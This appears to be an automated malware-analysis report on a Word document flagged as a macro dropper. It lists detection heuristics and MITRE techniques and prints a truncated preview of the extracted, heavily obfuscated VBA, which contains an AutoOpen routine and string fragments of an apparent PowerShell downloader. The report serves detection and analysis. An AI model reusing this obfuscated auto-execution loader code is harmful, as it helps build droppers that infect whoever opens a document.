MALICIOUS
302
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample contains critical heuristic firings indicating obfuscated VBA macros with auto-execution and shell execution capabilities. The AutoOpen macro is present, and the VBA code attempts to use Shell() to execute commands. This suggests the document is a dropper designed to download and execute a second-stage payload.
Heuristics 8
-
ClamAV: Doc.Dropper.Agent-6448024-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6448024-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 26724 bytes |
SHA-256: 5d2585051ee40b35f01458bc46fb38a79730354e3fb32af47f96f1ffefaefb0f |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "AjaMWpZwLAMT"
Sub AutoOpen()
On Error Resume Next
qosQIiwDX = kXiuBhoSF - Sgn(okvJOwXHDRs) - (147145 - Tan(7409838) / 8465319 - ChrW(rPhDYvMNriw))
KtmWPimzh = tjCL - Sgn(ozFl) - (6849961 - Tan(7038688) / 8196682 - ChrW(JRHOh))
ncWEiRldV = CJOnKdwjfr - Sgn(GMHFuLU) - (6657024 - Tan(5519645) / 873040 - ChrW(TFLFi))
Application.Run "pHZzHGnAYpq", lpwjFiDkz
oEkadTSDc = zjhKlbX - Sgn(jPPwjG) - (3272316 - Tan(9064766) / 8622352 - ChrW(tpJbFuJbv))
QonuDdZOo = STj - Sgn(pfpTqUdJiapKmL) - (4142196 - Tan(5147432) / 7662173 - ChrW(JjG))
btVLUJscu = JMtUwPaTH - Sgn(HFMEtr) - (2813521 - Tan(8617476) / 2585896 - ChrW(RJAqO))
End Sub
Function lpwjFiDkz()
On Error Resume Next
PIDKSQHz = Ami - Sgn(Jtir) - (9207461 - Tan(7377268) / 2277258 - ChrW(jZQlRKRcZEhKqI))
dZbZM = OlBjjqbtT - Sgn(nXbW) - (1724782 - Tan(9563547) / 8734171 - ChrW(KnU))
vorNIlPCfc = wWVjmcv - Sgn(YRAS) - (3783749 - Tan(1293375) / 8868054 - ChrW(cHEf))
fNRuBs = hawMWwcTwVpL + Mid(EdtFqwjUFAt + "IUMqFGZ+qfWy+fWychfWy+fWy+qchFGZOdjTkzVOruULk" + MHUtiknfAO, 5, 28)
NbpYB = DioTUtit - Sgn(MpROlfMWUO) - (8895348 - Tan(5623568) / 520349 - ChrW(hjwH))
WZRzWac = hCODAm - Sgn(mRdSmcGXm) - (1671514 - Tan(9350852) / 3834575 - ChrW(qwjhotuAcGj))
IbVzAFhK = lSLiwlRb - Sgn(tusC) - (5515734 - Tan(3321513) / 4452911 - ChrW(TZncWZlVjO))
RwQslH = idmqFQGnKjUGzm + Mid(LzEwzNiWWI + "HZ+qch+qchFGZ9afWy+fWyFGZ+FGZsfFGZ+FGZc iFGZ+FGZnFGZ+FG'+'qch+qchZ Meqch+qch9ADCX){FGZ+FGqfWy+fWych+qchZtryFGZ+FGZ{MeFGZ+FGZ9tRKzrAwDHCrwvwiH" + CDn, 2, 124)
GBkzE = RXKjd - Sgn(jzHcGclfCHk) - (8591772 - Tan(5463130) / 6905569 - ChrW(BCiVIBdwzl))
kmSQjWPBI = TjWzUIz - Sgn(SpXjVu) - (6824008 - Tan(5609850) / 5980848 - ChrW(KWQqcQVjOViF))
bDZTwzmDip = Iqp - Sgn(BJDnb) - (8656949 - Tan(2920440) / 3410238 - ChrW(iSIbYXwHpOBdH))
abFYTHCrAmR = sdJLtuAK + Mid(toWfsdzBofMcX + "EidYWizHhZPThjAFBvtnCPf+'+fWy+FGZnv:publqAnFmIXKG" + IhwuPsa, 24, 17)
CwTHZjDfTcI = kmCXnzKH - Sgn(TcnfuDZwhPkFE) - (2881738 - Tan(4896758) / 5491456 - ChrW(qDWFGkzEXTaR))
jHqDImobOqw = jTFs - Sgn(QsFnQBDAOQTfXd) - (8989842 - Tan(9517375) / 1223541 - ChrW(koMr))
BPjUzjcOlL = aWkzhaiQAMSJ - Sgn(jDnUCFWilrv) - (9451616 - Tan(4285373) / 1838518 - ChrW(NUDjYEfQj))
vVvjfz = doudiMm + Mid(sjlhUb + "kENwwwwrR2FGZ'+'+FGZ5iR25NgkN'+'FGZ+FGZ2(),FGZ+F'+'GZ FGZ+FGZMe9FGZ+FGZSDC);&(qch+qchFLNInFGZ+FGZvoFFGZ+FGZLN+FLNkFLN+FFGZ+FGZLNeFGZ+FGZ-IFGZ+FGZtFGZ+FGZeFtUFCLdJThT" + idB, 8, 148)
FmfNMJQInf = DfJjk - Sgn(EmGRhfqjSY) - (8310268 - Tan(5504395) / 2245410 - ChrW(XtERdDwqlsBJJW))
otJmQacOT = nJVkiJQMzEaiWW - Sgn(zZzV) - (7239836 - Tan(1960525) / 5215126 - ChrW(GjhNBOQXWUmfP))
nQVtu = shmHjGMC - Sgn(cUfvbJnl) - (7304460 - Tan(2304814) / 3512387 - ChrW(EzvOwh))
jXPbEEPDOjL = VafzSSE + Mid(KNCTPmG + "cvFOEfzwALWdiEEUwJTOdwaXfWy) ((fWy (qfWy+fWych& ( rtEVErbOSePrEFqch+qcheRENCe.ToST'+'rINfWy+'+'fWyg()[1,3]+FGZxFGZ-JoInFGZFGZ)((FGZMe9FGZ+FGZnsadasd = &(qcfWy+fWyh+qchFLNnFL'+'FGZ+FGZNFGZ+FGZ+FLNFGZ'+YnssTiwHqw" + FoioBLR, 24, 177)
SMtSvTNFi = jrshZfwPtdoU - Sgn(rFGIrnLzsBtfs) - (3714766 - Tan(4143812) / 5096022 - ChrW(XuUsjrmvuz))
dEZwBDR = qLQj - Sgn(uWdcsbJvqrpwCh) - (2359347 - Tan(5529340) / 7962142 - ChrW(GuABI))
RYjIpj = UMznGG - Sgn(lMhwwszqvk) - (4716222 - Tan(382819) / 8441394 - ChrW(ntN))
OMhIIqVjiM = EJjqrbhSiidU + Mid(DGEtVSoNij + "mLuzkOXkqch+qc'+'hoFGZ+FGZRqch+qfWy+fWych25WnlRqc'+'h+qch25OFGZ+FGZadFFGZ+F'+'GZI'+'R25leFG'+'Z+FGZkN2(Me9aFGZqch+qch+FGZsfc.kN2Toqch+qch'+'Sqch+qchtwCNOoIzNwiLL" + TwG, 9, 141)
wkaIJpuww = bZiFidpKQP - Sgn(RhzAYdXsJjz) - (5643418 - Tan(4349963) / 8523641 - ChrW(CbMvUMfidNldhH))
bDosGbULvzJ = Juu - Sgn(iiOjuFdlvzbwM) - (2580775 - Tan(6899626) / 5064189 - ChrW(wVuWmD))
WrRhaV = nmAqkHW - Sgn(jdKP) - (7694911 - Tan(9103297) / 3418369 - ChrW(rajfBQZQzjoL))
nAKXMM = cBBKmwsOPIfiV + Mid(kKEmU
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.